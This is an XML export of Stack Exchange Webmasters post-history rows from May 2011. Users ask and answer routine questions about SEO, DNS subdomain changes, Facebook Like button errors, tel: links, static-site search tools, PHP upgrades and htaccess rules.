  <row Id="33436" PostHistoryTypeId="5" PostId="14284" RevisionGUID="e2f09a5d-96eb-4ed3-a069-f7b266ada640" CreationDate="2011-05-24T00:57:23.970" UserId="6570" Comment="Moved the tag out of the title, fixed the plural in the title and fixed a few minor typos in the body" Text="What I would like to do is the following:&#xD;&#xA;&#xD;&#xA;I have a website at http://dev.upcoming-djs.com which display a music chart.&#xD;&#xA;&#xD;&#xA;And displays a music player at the right side.&#xD;&#xA;&#xD;&#xA;I would like to make an URL like: http://dev.upcoming-djs.com/track&#xD;&#xA;&#xD;&#xA;Which points to the same page only with the track loaded in the player at the right side.&#xD;&#xA;&#xD;&#xA;If I understand correctly it isn't good (SEO-wise) to point different URLs to the same page (with same content).&#xD;&#xA;&#xD;&#xA;Is this true? And if so is the penalty severe?" />
  <row Id="33437" PostHistoryTypeId="4" PostId="14284" RevisionGUID="e2f09a5d-96eb-4ed3-a069-f7b266ada640" CreationDate="2011-05-24T00:57:23.970" UserId="6570" Comment="Moved the tag out of the title, fixed the plural in the title and fixed a few minor typos in the body" Text="Two URLs pointing to almost the same content" />
  <row Id="33438" PostHistoryTypeId="24" PostId="14284" RevisionGUID="e2f09a5d-96eb-4ed3-a069-f7b266ada640" CreationDate="2011-05-24T00:57:23.970" Comment="Proposed by 6570 approved by 1253 edit id of 344" />
  <row Id="33439" PostHistoryTypeId="2" PostId="14291" RevisionGUID="f51d8841-cc5e-49f0-9da1-5c0ae36cb167" CreationDate="2011-05-24T01:41:11.683" UserId="5315" Text="It depends on how affected your site would be by latency; DiscountASP.NET offers two datacenter locations, the USA (and I believe based on my sites, that it is in California) and Europe (which I believe they say in the UK).&#xD;&#xA;&#xD;&#xA;That said, if latency is going to noticeably impact your site/application, then no, it probably wouldn't be a good choice; you'd want a provider that has a datacenter physically closer to the people who are make up the majority of the consumers of your site.&#xD;&#xA;&#xD;&#xA;However, just like in programming, don't make the mistake of premature optimization.  If latency doesn't factor into your application right now, then I wouldn't go out of my way to make sure it's hosted on a datacenter near your customers.  &#xD;&#xA;&#xD;&#xA;Given that you are looking at DiscountASP.NET, that says you are already going to be on shared hosting, which means that resources are going to be in contention, latency might be a non-issue here compared to that.&#xD;&#xA;&#xD;&#xA;And even if you do use shared hosting or something with a relatively high latency, you can always migrate your app later (you probably will have other problems with resource contention before latency comes into play)." />
  <row Id="33440" PostHistoryTypeId="17" PostId="14292" RevisionGUID="5288a545-f2e0-4c16-b913-6930413576c9" CreationDate="2011-05-24T01:47:27.233" UserId="-1" Comment="from http://stackoverflow.com/questions/6104703/google-webmaster-tools-changing-address-from-domain-name-to-subdomain" Text="" />
  <row Id="33441" PostHistoryTypeId="17" PostId="14293" RevisionGUID="90354ecb-1357-4081-b37a-eed54b50885b" CreationDate="2011-05-24T01:47:27.233" UserId="-1" Comment="from http://stackoverflow.com/questions/6104703/google-webmaster-tools-changing-address-from-domain-name-to-subdomain" Text="" />
  <row Id="33442" PostHistoryTypeId="2" PostId="14293" RevisionGUID="1499feaf-c1d6-41f2-b7f1-e0a6a0595c52" CreationDate="2011-05-24T00:57:14.163" UserDisplayName="BiggsTRC" Text="www is technically a sub-domain of example.com.  You would simply change your DNS reference from www to blog (in your A record).  If you are keeping the same location and just changing from www.example.com to blog.example.com, the IP address that the A record points to will be the same.  When you change the www sub-domain over to blog, it will start sending traffic to the same location as it used to send your original traffic.  Then you just need to be sure that your web server is ready to accept the sub-domain blog.example.com." />
  <row Id="33443" PostHistoryTypeId="2" PostId="14292" RevisionGUID="e2c28617-68e3-486c-983f-d386a93aac85" CreationDate="2011-05-24T00:54:39.110" UserDisplayName="Charliz" Text="So we originally have our blog on our main domain (for example, it would be on www.example.com).  Now we have moved it to http://blog.example.com.  My question is how do we change the address from www.example.com to blog.example.com.&#xD;&#xA;&#xD;&#xA;I read this &gt;&gt;&gt; http://www.google.com/support/webmasters/bin/answer.py?answer=83106 and it said make sure your site is main not a subdomain but I'm trying to move the site to a subdomain. Help." />
  <row Id="33444" PostHistoryTypeId="1" PostId="14292" RevisionGUID="e2c28617-68e3-486c-983f-d386a93aac85" CreationDate="2011-05-24T00:54:39.110" UserDisplayName="Charliz" Text="Google webmaster tools: changing address from domain name to subdomain" />
  <row Id="33445" PostHistoryTypeId="3" PostId="14292" RevisionGUID="e2c28617-68e3-486c-983f-d386a93aac85" CreationDate="2011-05-24T00:54:39.110" UserDisplayName="Charliz" Text="&lt;domains&gt;&lt;subdomain&gt;&lt;address&gt;" />
  <row Id="33449" PostHistoryTypeId="25" PostId="14289" RevisionGUID="88933a02-eeb6-4a14-8a6f-6c06c8b81a60" CreationDate="2011-05-24T03:12:38.403" Comment="http://twitter.com/#!/StackWebmasters/status/72862541436567552" />
  <row Id="33450" PostHistoryTypeId="2" PostId="14295" RevisionGUID="e350be42-26a5-43ce-92a9-1b23fd3ba045" CreationDate="2011-05-24T03:54:06.293" UserId="2293" Text="SEO stands on three basis:&#xD;&#xA;&#xD;&#xA;- Content (what you write/publish)&#xD;&#xA;- Relations (how others give you importance)&#xD;&#xA;- Structure (how you make your website readable/crawlable)&#xD;&#xA;&#xD;&#xA;All three are important. Really important.&#xD;&#xA;&#xD;&#xA;Sitemaps are a best practice, in order to keep your content indexed in one unique place. But please, make this in a smart way.&#xD;&#xA;&#xD;&#xA;Make only ONE xml sitemap and derive the HTML sitemap from it.&#xD;&#xA;&#xD;&#xA;Closing this question, please note that any website where you do log in to interact isn't really intended to be indexed by crawlers. They are made to be used, not just read (do you think google, yahoo, bing, ask... worry about SEO? Facebook, Friendster, Twitter, Youtube, Orkut...)." />
  <row Id="33451" PostHistoryTypeId="25" PostId="14282" RevisionGUID="a5df73b7-d2f5-485f-982a-1afc12a3047c" CreationDate="2011-05-24T06:12:37.880" Comment="http://twitter.com/#!/StackWebmasters/status/72907837067628544" />
  <row Id="33453" PostHistoryTypeId="2" PostId="14296" RevisionGUID="97925cfc-2b7c-4fe7-b8dd-fbe8ef3e0073" CreationDate="2011-05-24T07:19:45.870" UserId="5026" Text="I've placed the Facebook Like button iframe code on my [website][1].  When I test it, I receive an error: &#xD;&#xA;&#xD;&#xA;&quot;name&quot; likes this. · Error.  Clicking on Error gives:&#xD;&#xA;&#xD;&#xA;&gt; You failed to provide a valid list of&#xD;&#xA;&gt; administrators. You need to supply the&#xD;&#xA;&gt; administrators using either a&#xD;&#xA;&gt; &quot;fb:app_id&quot; meta tag or a &quot;fb:admins&quot;&#xD;&#xA;&gt; meta tag to specify a comma-delimited&#xD;&#xA;&gt; list of Facebook users.&#xD;&#xA;&#xD;&#xA;If I view the source of the page, I can see:&#xD;&#xA;&#xD;&#xA;    &lt;meta property=&quot;fb:admins&quot; content=&quot;529447119&quot; /&gt;&#xD;&#xA;&#xD;&#xA;What do I need to do to prevent the error?  Do you receive the error&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.melvilletenniscentre.com.au/" />
  <row Id="33454" PostHistoryTypeId="1" PostId="14296" RevisionGUID="97925cfc-2b7c-4fe7-b8dd-fbe8ef3e0073" CreationDate="2011-05-24T07:19:45.870" UserId="5026" Text="Facebook Like button &quot;No administrators were specified&quot;." />
  <row Id="33455" PostHistoryTypeId="3" PostId="14296" RevisionGUID="97925cfc-2b7c-4fe7-b8dd-fbe8ef3e0073" CreationDate="2011-05-24T07:19:45.870" UserId="5026" Text="&lt;facebook&gt;" />
  <row Id="33457" PostHistoryTypeId="2" PostId="14298" RevisionGUID="11cf5d14-d61e-4326-b14c-98ce025a0d7f" CreationDate="2011-05-24T07:30:23.843" UserId="7198" Text="Based on your comments above, it sounds like you're testing Yahoo Media Player on a Mac by double clicking the .html file, resulting in a URL like `file:///path/to/your/file.html`&#xD;&#xA;&#xD;&#xA;Having tried it myself, that doesn't work. Yahoo Media Player only loads correctly when the URL in your browser's address bar starts with `http://` and when the audio/video file is hosted on a remote server.&#xD;&#xA;&#xD;&#xA;I suggest that you either:&#xD;&#xA;&#xD;&#xA; 1. Upload your html and audio file to a remote server and adjust the mp3 path accordingly;&#xD;&#xA;&#xD;&#xA;  -- or --&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 2. Turn Web Sharing on in 'System Preferences&gt;Sharing', then move the html file to `~/Sites/`, and upload the audio file to a remote server (it will not work if stored locally). Finally, update the audio file's path and browse to &quot;http://localhost/~User/test.html&quot; to test it.&#xD;&#xA;" />
  <row Id="33458" PostHistoryTypeId="5" PostId="14298" RevisionGUID="0eb6c118-c8f8-48bf-b81d-3a8dad2ebdff" CreationDate="2011-05-24T07:36:36.723" UserId="7198" Comment="added 50 characters in body; added 4 characters in body; added 8 characters in body; deleted 124 characters in body" Text="Based on your comments above, it sounds like you're testing Yahoo Media Player on a Mac by double clicking the .html file, resulting in a URL like `file:///path/to/your/file.html`, or using the built-in Ruby on Rails test server.&#xD;&#xA;&#xD;&#xA;Having tried it myself, that doesn't work. Yahoo Media Player only loads correctly when the URL in your browser's address bar starts with `http://` **and when the audio/video file is hosted on a remote server.**&#xD;&#xA;&#xD;&#xA;I suggest that you either:&#xD;&#xA;&#xD;&#xA; 1. Upload your html/RoR app and audio file to a remote server and adjust the mp3 path accordingly;&#xD;&#xA;&#xD;&#xA;  -- or --&#xD;&#xA;&#xD;&#xA; 2. Upload the audio file to a remote server (it will not work if stored locally), update the audio file's path, and browse to your RoR test URL to try it.&#xD;&#xA;" />
  <row Id="33459" PostHistoryTypeId="17" PostId="14299" RevisionGUID="73c3ab0f-a8c4-47d5-befa-3a82c626eaaa" CreationDate="2011-05-24T07:45:08.227" UserId="-1" Comment="from http://stackoverflow.com/questions/6106469/free-search-tool-for-static-website" Text="" />
  <row Id="33460" PostHistoryTypeId="17" PostId="14300" RevisionGUID="645c48d5-2fcf-4b9e-8a76-8038a48527fc" CreationDate="2011-05-24T07:45:08.227" UserId="-1" Comment="from http://stackoverflow.com/questions/6106469/free-search-tool-for-static-website" Text="" />
  <row Id="33461" PostHistoryTypeId="17" PostId="14301" RevisionGUID="15ca5678-7f7b-4eae-a32d-65c7f9808206" CreationDate="2011-05-24T07:45:08.227" UserId="-1" Comment="from http://stackoverflow.com/questions/6106469/free-search-tool-for-static-website" Text="" />
  <row Id="33462" PostHistoryTypeId="2" PostId="14300" RevisionGUID="19e08c44-e577-4937-8673-15a073db76ab" CreationDate="2011-05-24T06:42:12.773" UserDisplayName="Nathan" Text="You could run a [YaCy][1] peer&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.yacy.net" />
  <row Id="33463" PostHistoryTypeId="2" PostId="14301" RevisionGUID="b1ad198d-85f2-4489-9aab-171c67aeb793" CreationDate="2011-05-24T07:10:28.253" UserDisplayName="BennyTjia" Text="have you checked this article out? [static html website-search-tool][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codecanyon.net/item/static-html-website-search-tool/88642" />
  <row Id="33464" PostHistoryTypeId="2" PostId="14299" RevisionGUID="d4220d23-dea7-44ad-ba22-54f3ef6753da" CreationDate="2011-05-24T06:20:30.560" UserDisplayName="aeonsleo" Text="I am looking for a free search tool for a website hosting html documentation files. the tool should display the results as listings of page title and few lines of text from that page. It should also work on the site being hosted locally on LAN so it should do the search by itself." />
  <row Id="33465" PostHistoryTypeId="1" PostId="14299" RevisionGUID="d4220d23-dea7-44ad-ba22-54f3ef6753da" CreationDate="2011-05-24T06:20:30.560" UserDisplayName="aeonsleo" Text="Free search tool for static website" />
  <row Id="33466" PostHistoryTypeId="3" PostId="14299" RevisionGUID="d4220d23-dea7-44ad-ba22-54f3ef6753da" CreationDate="2011-05-24T06:20:30.560" UserDisplayName="aeonsleo" Text="&lt;javascript&gt;&lt;html&gt;&lt;search&gt;" />
  <row Id="33467" PostHistoryTypeId="5" PostId="14298" RevisionGUID="c8a8cdcc-e30b-465b-ad85-286a0785bd22" CreationDate="2011-05-24T07:50:32.447" UserId="7198" Comment="added 205 characters in body" Text="Based on your comments above, it sounds like you're testing Yahoo Media Player on a Mac by double clicking the .html file, resulting in a URL like `file:///path/to/your/file.html`, or using the built-in Ruby on Rails test server.&#xD;&#xA;&#xD;&#xA;Having tried it myself, that doesn't work. Yahoo Media Player only loads correctly when the URL in your browser's address bar starts with `http://` **and when the audio/video file is hosted on a remote server.**&#xD;&#xA;&#xD;&#xA;I suggest that you either:&#xD;&#xA;&#xD;&#xA; 1. Upload your html/RoR app and audio file to a remote server and adjust the mp3 path accordingly;&#xD;&#xA;&#xD;&#xA;  -- or --&#xD;&#xA;&#xD;&#xA; 2. Upload the audio file to a remote server (it will not work if stored locally), update the audio file's path, and browse to your local RoR test URL to try it. (If you're not using the Rails test server, you'll need to host the html file locally in your `/~Sites/` directory, turn Web Sharing on, and browse to 'http://localhost/~User/test.html` to test it.)&#xD;&#xA;" />
  <row Id="33468" PostHistoryTypeId="2" PostId="14302" RevisionGUID="93a09aef-4225-4e74-a9c4-901067f0233c" CreationDate="2011-05-24T07:53:47.117" UserId="7765" Text="Do you have shared hosting or your own DNS server? &#xD;&#xA;&#xD;&#xA;If you want keep the www.example.com domain for another site you'll need to add either a new sub-domain in your shared hosting control panel for blog.example.com or add a new A record for this sub-domain on your DNS server.&#xD;&#xA;&#xD;&#xA;If you want traffic to www.example.com to auto-redirect to blog.example.com then you could create a CNAME entry instead in your DNS for blog. pointing to www.&#xD;&#xA;&#xD;&#xA;You may also have to configure your web server host headers to accept the new sub-domain url as well as your web application if it uses [absolute urls][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webdevelopersnotes.com/design/relative_and_absolute_urls.php3" />
  <row Id="33469" PostHistoryTypeId="2" PostId="14303" RevisionGUID="46e65dbb-ae34-4a18-ac44-3c964d7513a6" CreationDate="2011-05-24T08:31:50.230" UserId="7198" Text="It's a good idea to wrap phone numbers in tel URIs because:&#xD;&#xA;&#xD;&#xA;  1. Mobile browsers often parse numbers incorrectly, especially with unusual formats. All they're doing is attempting to wrap phone numbers in anchor links and tel URIs; doing it for them reduces the chance of error.&#xD;&#xA;&#xD;&#xA;  2. It's a vendor-neutral, official [proposed standard](http://tools.ietf.org/html/rfc3966) that desktop VOIP phone clients (e.g. Skype, Vonage etc.) may one day see sense and come to adopt.&#xD;&#xA;&#xD;&#xA;  3. It is not ideal to create linked text which does nothing in some cases, but it serves to highlight important contact information on a page, and does no irreversible damage if a visitor without `tel:` support clicks a link. (It may be frustrating for mobile phone users without support for autoparsed phone numbers, but they are already used to typing numbers found on web pages.)&#xD;&#xA;&#xD;&#xA;  4. Crucially, you can use `tel:` URIs to prevent mobile browsers attempting to link numbers that definitely *aren't* phone numbers. Apple [recommends this method](http://developer.apple.com/library/ios/#featuredarticles/iPhoneURLScheme_Reference/Articles/PhoneLinks.html): wrap your phone numbers in `tel:` URIs, then include the following meta tag to prevent the iOS device from looking for additional numbers to convert:&#xD;&#xA;&#xD;&#xA;    `&lt;meta name = &quot;format-detection&quot; content = &quot;telephone=no&quot;&gt;`&#xD;&#xA;&#xD;&#xA;In short, it doesn't really matter which mobile browsers support auto discovery of phone numbers today. It's still a good idea to adopt the format.&#xD;&#xA;" />
  <row Id="33470" PostHistoryTypeId="5" PostId="14303" RevisionGUID="3fe18867-ed22-40d7-a332-22fc8e028963" CreationDate="2011-05-24T08:40:15.507" UserId="7198" Comment="deleted 22 characters in body" Text="It's a good idea to wrap phone numbers in tel URIs because:&#xD;&#xA;&#xD;&#xA;  1. Mobile browsers often parse numbers incorrectly, especially with unusual formats. All they're doing is attempting to wrap phone numbers in anchor links and tel URIs; doing it for them reduces the chance of error.&#xD;&#xA;&#xD;&#xA;  2. It's a vendor-neutral, official [proposed standard](http://tools.ietf.org/html/rfc3966) that desktop VOIP phone clients (e.g. Skype, Vonage etc.) may one day see sense and come to adopt.&#xD;&#xA;&#xD;&#xA;  3. It is not ideal to create linked text which does nothing in some cases, but it serves to highlight important contact information on a page, and does no irreversible damage if a visitor without `tel:` support clicks a link. (It may be frustrating for mobile phone users without `tel:` support, but they are already used to typing numbers found on web pages.)&#xD;&#xA;&#xD;&#xA;  4. Crucially, you can use `tel:` URIs to prevent mobile browsers attempting to link numbers that definitely *aren't* phone numbers. Apple [recommends this method](http://developer.apple.com/library/ios/#featuredarticles/iPhoneURLScheme_Reference/Articles/PhoneLinks.html): wrap your phone numbers in `tel:` URIs, then include the following meta tag to prevent the iOS device from looking for additional numbers to convert:&#xD;&#xA;&#xD;&#xA;    `&lt;meta name = &quot;format-detection&quot; content = &quot;telephone=no&quot;&gt;`&#xD;&#xA;&#xD;&#xA;In short, it doesn't really matter which mobile browsers support auto discovery of phone numbers today. It's still a good idea to adopt the format.&#xD;&#xA;" />
  <row Id="33471" PostHistoryTypeId="25" PostId="14299" RevisionGUID="6df91049-0bda-4d34-8179-d68ba6ca39a0" CreationDate="2011-05-24T09:12:38.027" Comment="http://twitter.com/#!/StackWebmasters/status/72953135865409536" />
  <row Id="33472" PostHistoryTypeId="17" PostId="14304" RevisionGUID="e11a5ab8-1561-466e-84cb-0e82195c792f" CreationDate="2011-05-24T09:38:54.843" UserId="-1" Comment="from http://stackoverflow.com/questions/6108275/domain-hijack-or-spam" Text="" />
  <row Id="33473" PostHistoryTypeId="17" PostId="14305" RevisionGUID="ff8d2731-d69a-499a-ab16-c697c93bd943" CreationDate="2011-05-24T09:38:54.843" UserId="-1" Comment="from http://stackoverflow.com/questions/6108275/domain-hijack-or-spam" Text="" />
  <row Id="33474" PostHistoryTypeId="2" PostId="14305" RevisionGUID="d7307a9c-eb4f-488e-b9df-1dab3bcff402" CreationDate="2011-05-24T09:24:14.493" UserDisplayName="sehe" Text="You have probably misconfigured the domain alias at the new host.&#xD;&#xA;&#xD;&#xA;Web requests will arrive at the new host (assuming shared hosting server, here). It will look at the 'host header' of the HTTP request, to see what site it is actually for. It searches for the name of that domain (the one you configured in DNS) in it's configuration. If it cannot find it, you'll get the default page of your shared hosting webserver. &#xD;&#xA;&#xD;&#xA;You'll need to make the host header match the name of your configured site at the shared hosting server." />
  <row Id="33475" PostHistoryTypeId="2" PostId="14304" RevisionGUID="81058b41-4364-4bca-8432-4ce45c5371ed" CreationDate="2011-05-24T09:18:25.143" UserDisplayName="new_b" Text="I've changed my DNS from a host to a new host. It took about a day to propagate. Now my site has factious home page from a &quot;searchdiscovered.com&quot;.&#xD;&#xA;&#xD;&#xA;I crosschecked the DNS, it is as required by the new host.The &quot;searchdiscovered.com&quot; pages are not inserted by the new host either.&#xD;&#xA;&#xD;&#xA;My question is : Is it possible to for someone to insert their homepage while the DNS propagation is in progress? What is the way out? " />
  <row Id="33476" PostHistoryTypeId="1" PostId="14304" RevisionGUID="81058b41-4364-4bca-8432-4ce45c5371ed" CreationDate="2011-05-24T09:18:25.143" UserDisplayName="new_b" Text="Domain hijack or spam?" />
  <row Id="33477" PostHistoryTypeId="3" PostId="14304" RevisionGUID="81058b41-4364-4bca-8432-4ce45c5371ed" CreationDate="2011-05-24T09:18:25.143" UserDisplayName="new_b" Text="&lt;domains&gt;&lt;dns&gt;&lt;web-hosting&gt;" />
  <row Id="33478" PostHistoryTypeId="5" PostId="14240" RevisionGUID="e773ae29-4e7f-4dd6-a6cb-c125b95e783d" CreationDate="2011-05-24T11:12:48.033" UserId="5315" Comment="Code formatting, removed &quot;hi&quot; as per general SE guidelines." Text="I am using the following set of htaccess code to not redirect my site(http://yy.com) directly in the url. I have another site(X) when the user logged in this site then he will be directed to the site y and also allowed to login their wp-admin panel. The current process is working fine as its way, the user is not allowed to redirected directly to the site(yy). The problem is when they tried to login in the admin side http://yy.com/wp-admin it is redirecting them to there i really don't need to go there also..&#xD;&#xA;&#xD;&#xA;My code:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;                                                            &#xD;&#xA;    RewriteEngine On                    &#xD;&#xA;    RewriteCond %{HTTP_REFERER} !(.*)zzz.com(.*)                  &#xD;&#xA;    RewriteCond %{HTTP_REFERER} !(.*)yyy.com(.*)           &#xD;&#xA;    RewriteCond %{REQUEST_URI}  !.*(wp\-login|wp\-admin|wp\-content|wp\-includes|wp          \-trackback).* [NC]                &#xD;&#xA;    RewriteRule ^(.*)$ - [F] &#xD;&#xA;    &lt;/IfModule&gt;    " />
  <row Id="33479" PostHistoryTypeId="24" PostId="14240" RevisionGUID="e773ae29-4e7f-4dd6-a6cb-c125b95e783d" CreationDate="2011-05-24T11:12:48.033" Comment="Proposed by 5315 approved by 108 edit id of 343" />
  <row Id="33480" PostHistoryTypeId="5" PostId="13924" RevisionGUID="ab74f6a6-7426-4614-8f69-cf4f160ad918" CreationDate="2011-05-24T11:12:56.533" UserId="7761" Comment="why is an edit summary required for suggested edits?" Text="&gt; To the best of my knowledge, the rankings team does not use bounce rate in any way.&#xD;&#xA;&gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;mdash; Matt Cutts, June 2010, [Search Engine Land interview](http://searchengineland.com/live-blog-matt-cutts-smx-advanced-43906)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have an issue with the concept of long/short clicks being used in their ranking algorithm. There are too many scenarios where both short and long clicks occur that are the opposite of what the standard logic would be.&#xD;&#xA;&#xD;&#xA;For example, short clicks could occur because:&#xD;&#xA;&#xD;&#xA; - A user is opening many tabs at once, let's say all ten links on the first search results page, for research of some kind. (Whether that research is SEO or academic is irrelevant). These will all appear as short clicks.&#xD;&#xA;&#xD;&#xA; - Someone is looking for a particular site and is hopping through results until they find the one they want. Their tome on each site is short not because the site is poorly done, it's just not the one specific site the user is looking for.&#xD;&#xA;&#xD;&#xA; - This is way too easy to manipulate. If this really was a potential ranking factor it's not hard to imagine black hats short clicking their competitors to serve their own ends. (Naturally this would be automated to produce the quantity necessary to spur Google into action).&#xD;&#xA;&#xD;&#xA;Long clicks can occur because:&#xD;&#xA;&#xD;&#xA; - A user has no idea what they are looking for and spends an eternity on each site looking for it but never finds it (e.g. that site is irrelevant).&#xD;&#xA;&#xD;&#xA; - A user walks away from their computer or gets side tracked for any reason&#xD;&#xA;&#xD;&#xA; - Abuse (see above)&#xD;&#xA;&#xD;&#xA; - A user is Internet-clueless and just takes a long time at each site because they have a hard time using the Internet.&#xD;&#xA;&#xD;&#xA;The best way I can imagine this information being used is for personalized search. If someone keeps short-clicking a particular site then it probably warrants being lowered in their personal search results.&#xD;&#xA;&#xD;&#xA;As for anecdotal evidence, I have a few dozen client sites I monitor and bounce rate does not seem to correlate to rankings.&#xD;&#xA;&#xD;&#xA;As for Google using Google Analytics in their search algorithm, [the answer from Matt Cuitts is no][2]. &#xD;&#xA;&#xD;&#xA;  [2]: http://www.youtube.com/watch?v=CgBw9tbAQhU" />
  <row Id="33481" PostHistoryTypeId="24" PostId="13924" RevisionGUID="ab74f6a6-7426-4614-8f69-cf4f160ad918" CreationDate="2011-05-24T11:12:56.533" Comment="Proposed by 7761 approved by 108 edit id of 345" />
  <row Id="33483" PostHistoryTypeId="10" PostId="13752" RevisionGUID="05b7a591-c31a-4c0a-bf27-08c3e49a1297" CreationDate="2011-05-24T11:15:08.107" UserId="108" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="33484" PostHistoryTypeId="5" PostId="14299" RevisionGUID="8d1ba81d-72d8-480a-a64f-dbd4cc70f89c" CreationDate="2011-05-24T11:52:08.057" UserId="1253" Comment="modified tags" Text="I am looking for a free search tool for a website hosting html documentation files. the tool should display the results as listings of page title and few lines of text from that page. It should also work on the site being hosted locally on LAN so it should do the search by itself." />
  <row Id="33485" PostHistoryTypeId="6" PostId="14299" RevisionGUID="8d1ba81d-72d8-480a-a64f-dbd4cc70f89c" CreationDate="2011-05-24T11:52:08.057" UserId="1253" Comment="modified tags" Text="&lt;html&gt;&lt;javascript&gt;&lt;looking-for-a-script&gt;&lt;search&gt;" />
  <row Id="33486" PostHistoryTypeId="2" PostId="14306" RevisionGUID="c2338e24-fc86-4b31-aaad-6022cb684b3d" CreationDate="2011-05-24T11:56:23.847" UserId="6104" Text="We use [Sphider][1], it runs on PHP and MySQL, indexes static HTML files and can be run as a cron job.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sphider.eu/" />
  <row Id="33487" PostHistoryTypeId="25" PostId="14304" RevisionGUID="7c1095b8-afb4-4abc-9b51-cba3b304318e" CreationDate="2011-05-24T12:12:38.203" Comment="http://twitter.com/#!/StackWebmasters/status/72998435149713408" />
  <row Id="33488" PostHistoryTypeId="2" PostId="14307" RevisionGUID="eaedeaf3-74a4-461f-84c8-f48fbd4d5dfd" CreationDate="2011-05-24T13:27:30.783" UserId="7770" Text="Under Ubercart 6.20 with uc_discounts_alt 6.x-2.0, I have a discount that takes a fixed amount off every order. The discount shows up fine in the cart and in the checkout page (although sales tax doesn't take the discount into account, but that's a separate issue), but it is nowhere to be seen on the review page and is not applied to the final payment.&#xD;&#xA;&#xD;&#xA;I've been looking around in `uc_discounts.module` a little, but honestly I'm not sure what I'm looking for." />
  <row Id="33489" PostHistoryTypeId="1" PostId="14307" RevisionGUID="eaedeaf3-74a4-461f-84c8-f48fbd4d5dfd" CreationDate="2011-05-24T13:27:30.783" UserId="7770" Text="Ubercart discount doesn't show up in the review order screen or in the final payment." />
  <row Id="33490" PostHistoryTypeId="3" PostId="14307" RevisionGUID="eaedeaf3-74a4-461f-84c8-f48fbd4d5dfd" CreationDate="2011-05-24T13:27:30.783" UserId="7770" Text="&lt;cms&gt;&lt;drupal&gt;&lt;ecommerce&gt;" />
  <row Id="33491" PostHistoryTypeId="17" PostId="14308" RevisionGUID="dd5c3057-42e2-4ea8-8ae4-07787ff27942" CreationDate="2011-05-24T13:38:56.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6105885/how-to-upgrade-php4-x-x-to-php5-x-x" Text="" />
  <row Id="33492" PostHistoryTypeId="17" PostId="14309" RevisionGUID="7093ff15-8adb-4141-abfd-a961826eac52" CreationDate="2011-05-24T13:38:56.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6105885/how-to-upgrade-php4-x-x-to-php5-x-x" Text="" />
  <row Id="33493" PostHistoryTypeId="2" PostId="14309" RevisionGUID="40446057-04f2-4e12-ab16-8e3d2d649186" CreationDate="2011-05-24T05:14:21.873" UserDisplayName="Denis" Text="There's a complete guide on how to upgrade php4 code to php5 here:&#xD;&#xA;&#xD;&#xA;http://php.net/manual/en/migration5.php&#xD;&#xA;&#xD;&#xA;To upgrade your server software, re-install php as needed. On Windows, this means downloading the executable and follow the steps..." />
  <row Id="33494" PostHistoryTypeId="2" PostId="14308" RevisionGUID="36674492-36be-4388-8fda-f2fecdad73e4" CreationDate="2011-05-24T05:03:26.090" UserDisplayName="Vinay " Text="I want to upgrade php4 to php5 in server.because i am installing TCExam on server, a test assessment spftware runs on php5.3.1 version but version of php onserver is 4.x.x .will it affect the existing project .if not can you explain me how to upgrade the php version on server." />
  <row Id="33495" PostHistoryTypeId="1" PostId="14308" RevisionGUID="36674492-36be-4388-8fda-f2fecdad73e4" CreationDate="2011-05-24T05:03:26.090" UserDisplayName="Vinay " Text="How to upgrade php4.x.x to php5.x.x" />
  <row Id="33496" PostHistoryTypeId="3" PostId="14308" RevisionGUID="36674492-36be-4388-8fda-f2fecdad73e4" CreationDate="2011-05-24T05:03:26.090" UserDisplayName="Vinay " Text="&lt;php&gt;" />
  <row Id="33497" PostHistoryTypeId="2" PostId="14310" RevisionGUID="2a03d08f-4adc-4bd5-8642-8bd01c7e8061" CreationDate="2011-05-24T13:39:40.643" UserId="7771" Text="Well i and my friends started a tech community few days ago and we are not getting much of traffic (kind of expected that :P ) ,so how do i get more traffic? I tried google web masters but not much of an improvement. We arent that great programmers infact i am just 14, if you want to join us go to  teamtechmaniacs.tk :D ." />
  <row Id="33498" PostHistoryTypeId="1" PostId="14310" RevisionGUID="2a03d08f-4adc-4bd5-8642-8bd01c7e8061" CreationDate="2011-05-24T13:39:40.643" UserId="7771" Text="How to get more traffic in google sites?" />
  <row Id="33499" PostHistoryTypeId="3" PostId="14310" RevisionGUID="2a03d08f-4adc-4bd5-8642-8bd01c7e8061" CreationDate="2011-05-24T13:39:40.643" UserId="7771" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;&lt;google-webmaster-tools&gt;&lt;traffic&gt;" />
  <row Id="33500" PostHistoryTypeId="5" PostId="14310" RevisionGUID="482f511f-3071-4fdf-baed-4d047d89593a" CreationDate="2011-05-24T13:42:20.983" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to start driving traffic to a new website?](http://webmasters.stackexchange.com/questions/3242/what-are-the-best-ways-to-start-driving-traffic-to-a-new-website)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Well i and my friends started a tech community few days ago and we are not getting much of traffic (kind of expected that :P ) ,so how do i get more traffic? I tried google web masters but not much of an improvement. We arent that great programmers infact i am just 14, if you want to join us go to  teamtechmaniacs.tk :D ." />
  <row Id="33501" PostHistoryTypeId="10" PostId="14310" RevisionGUID="48fd1aef-f762-4667-bf41-8883f406a3ea" CreationDate="2011-05-24T13:42:20.767" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
